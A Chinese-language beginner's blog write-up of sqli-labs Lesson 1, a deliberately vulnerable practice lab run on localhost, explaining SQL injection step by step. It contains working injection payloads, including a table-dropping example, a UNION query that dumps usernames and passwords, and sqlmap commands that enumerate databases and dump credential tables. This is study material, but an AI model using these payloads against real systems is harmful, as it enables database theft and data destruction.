SQL隱碼攻擊:sqli-labs lesson-1 小白詳解

Zeker62發表於2021-07-22

為什麼是小白詳解?因為我就是小白

SQL隱碼攻擊早有耳聞,今天算是真正開啟這個門了,但是想要跨進去應該還是沒有那麼容易。
在B站上聽了40分鐘的網課,老實說,他講的還不錯,第一遍聽不懂也正常
https://www.bilibili.com/video/BV1Q54y1D7VV?p=4
感謝部落格園部落格帶我入門:https://www.cnblogs.com/peterpan0707007/p/7620048.html

每一個帶我學習的部落格、視訊都值得感謝

工具準備:

  • 瀏覽器外掛:hack bar(免費版的Max hack bar 也不錯)
  • kali虛擬機器或者sqlmap指令碼

什麼是SQL隱碼攻擊?

到目前為止我理解的sql注入無非就是:

利用sql語句的中字元匹配,注入一些惡意的程式碼進去

就好比有個程式碼:

select * from ABC where name='qqq' ; 
# limit命令表示選擇第0行開始往下1行的內容

#我將name的值傳輸為222' ;drop table ABC -- ,那麼語句就是
select * from ABC where name='222' ; drop table ABC -- '
#很顯然,後面的單引號被註釋掉了
#然後這個惡意程式碼就可以在那裡亂刪。

這只是一方面,作為小白肯定還要學好多。

SQL隱碼攻擊掃描工具sqlmap

在這裡插入圖片描述

作為一個小白,我的英語也不太好(太菜了,現在到飯點了,我不配吃飯)

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:
    These options can be used to set some general working parameters

    --batch             Never ask for user input, use the default behavior
    --flush-session     Flush session files for current target

  Miscellaneous:
    These options do not fit into any other category

    --wizard            Simple wizard interface for beginner users

[!] to see full list of options run with '-hh'

Press Enter to continue...

這是使用 -h命令出來的說明文件,作為小白,一開始這些肯定都比較生疏。記住幾個重要的

  • -a, --all Retrieve everything
  • -b, --banner Retrieve DBMS banner
  • --current-user Retrieve DBMS current user
  • --current-db Retrieve DBMS current database
  • --passwords Enumerate DBMS users password hashes
  • --tables Enumerate DBMS database tables
  • --columns Enumerate DBMS database table columns
  • --schema Enumerate DBMS schema
  • --dump Dump DBMS database table entries
  • --dump-all Dump all DBMS databases tables entries
  • -D DB DBMS database to enumerate 檢索資料庫
  • -T TBL DBMS database table(s) to enumerate 檢索資料表
  • -C COL DBMS database table column(s) to enumerate 檢索資料表中的列

進入正題,開始做題

  • 開啟PHPstudy 開啟Apache 和Mysql
  • 進入地址: 127.0.0.1/sqli-libs (kali進入主機IP/sqli-labs)

我把sqli-labs的資料夾名稱改成了sqli ,方便一些

在這裡插入圖片描述
題目給了提示,這個是錯在單引號的問題上
進入

開啟hackbar 我們要在hackbar上面檢索一些東西,他們叫做“手工注入
在這裡插入圖片描述
在這裡插入圖片描述
一段小字提示我們是和ID有關的。資料庫裡面的 id一般是小寫。
在這裡插入圖片描述
獲取一下網站
在這裡插入圖片描述

我們再重複地注入一下id,發現13號沒有,但是14號又有了,15號沒有,16號沒有……。那麼這個id的上限就是14了咯。
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
好了好了,我們是要找注入點,不是找有多少個id號。
題目提示了,是單引號的問題Single quotes - String
那麼,我試試注入 ?id=1'
在這裡插入圖片描述
報錯了一段字串,你看好奇怪噢,怎麼是雙引號又是單引號的。
其實:這不一定是雙引號,有可能是兩個單引號!
''1'' LIMIT 0,1'

  • 首先,剔除兩邊表示字串的單引號,變成'1'' LIMIT 0,1
  • 其次,剔除我們在1後面多加上的 ‘ ,變成'1' LIMIT 0,1

這樣,顯而易見,我們的sql語句很可能就是

select * from 表名 where id='資料' limit 0,1;

我們驗證一下:輸入數字,括號,符號等等,因為裡面就是字串,字串裡面可以是任何東西
在這裡插入圖片描述
沒有報錯,完全可以。
好,我們已經找到注入點了,現在我們進行更高階的操作。

使用order by 注入: 偵測資料表有多少列

order by 用於對結果集進行排序
假如我們輸入...... order by 3. 那麼系統會首先偵測有沒有第三列的資料,如果沒有, 就會報錯.
所以我們使用 order by 來偵測這個資料表到底有多少列

我們正確的注入語句應該是這樣的:
select * from 資料表名 where id='隨便是什麼都可以' order by 1/2/3/4 --+' limit 0,1
別忘了後面要註釋掉

這裡註釋參考了部落格:
https://blog.csdn.net/xiayun1995/article/details/86500605
不能直接使用# 因為url讀不了
不能直接使用-- ,因為--後面要有空格或者是一個閉合字串
--+的+會變成空格,--'會讓後面形成閉合的空格字串''
但是這裡只能加+,不能使用--'.
因為!親測不可以,會直接把最外面兩個單引號變成變數

在這裡插入圖片描述
開始手動測試,15沒有\13沒有.......直到3,有了!
在這裡插入圖片描述

那麼!這個資料表有三列,盲猜是id name 和passwd
我們的目標是管理員的密碼,這不重要

使用UNION(union)聯合查詢

什麼是聯合查詢?就是多個屬性一起查,最後彙總在一張表上

我們讓union查每個的三列,讓它找不到東西,但它找過的東西都可以顯示出來.

這個說明了啥?
這個說明了,Your Login name 這個東西在第二列找了
Your Password 這東西在第三列找了

多找一列,就會報錯

我們何嘗不把 2,3 改成user(),database()這兩個函式.
這意味著我的id=1000 要在使用者資訊和資料庫資訊裡面找.
很顯然應該不會找到,所以他就會給我返回一個使用者資訊.

爆破資料庫的名字

現成的工具

讓它顯示在第二行,調整引數就好了

爆破錶名

爆破列名

爆破值

用這個語句,這個沒有現成的工具,因為很多屬性都要填寫,不記得就百度一下吧

http://127.0.0.1/sqli/Less-1/?id=1000' union select 1,group_concat(username,0x3a,password),3 from users --+


東西都出來了,所有的東西都清晰明瞭.

更常用的還是sqlmap進行探測吧

手工進行實在是太累了,一旦資料庫很多,資料表很大,就效率很低.

在這裡插入圖片描述
進入了sqlmap.
使用命令,

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs --batch

-u 表示連結引數:連結一定要正確且可執行
--dbs 表示探測資料庫:
--batch:表示不用一直問使用者要不要繼續探測
在這裡插入圖片描述
我探測到了7個資料庫,但是我的目標還是security,因為剛剛通過手工注入我知道這個靶場的資料庫就是security.
在這裡插入圖片描述

進入資料庫,探測資料表

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables --batch

-D 表示選擇資料庫
--tables 表示查詢資料表

在這裡插入圖片描述
查到了四個資料表,我們當然選擇users,其他的和這次靶場無關

查資料表中的列

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns --batch

-T 表示選擇資料表
--columns表示檢索出列
在這裡插入圖片描述
查詢內容

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users -C username,password --dump --batch

-C 表示要查詢的目錄,用逗號隔開

--dump 是查詢元素
在這裡插入圖片描述

sqlmap固然好用,但是也不能淪為只會使用工具的工具人. 還是要多讀書.

從下午三點到現在八點,五個小時入門了sql注入哈哈哈

當個小白真不容易,共勉!

相關文章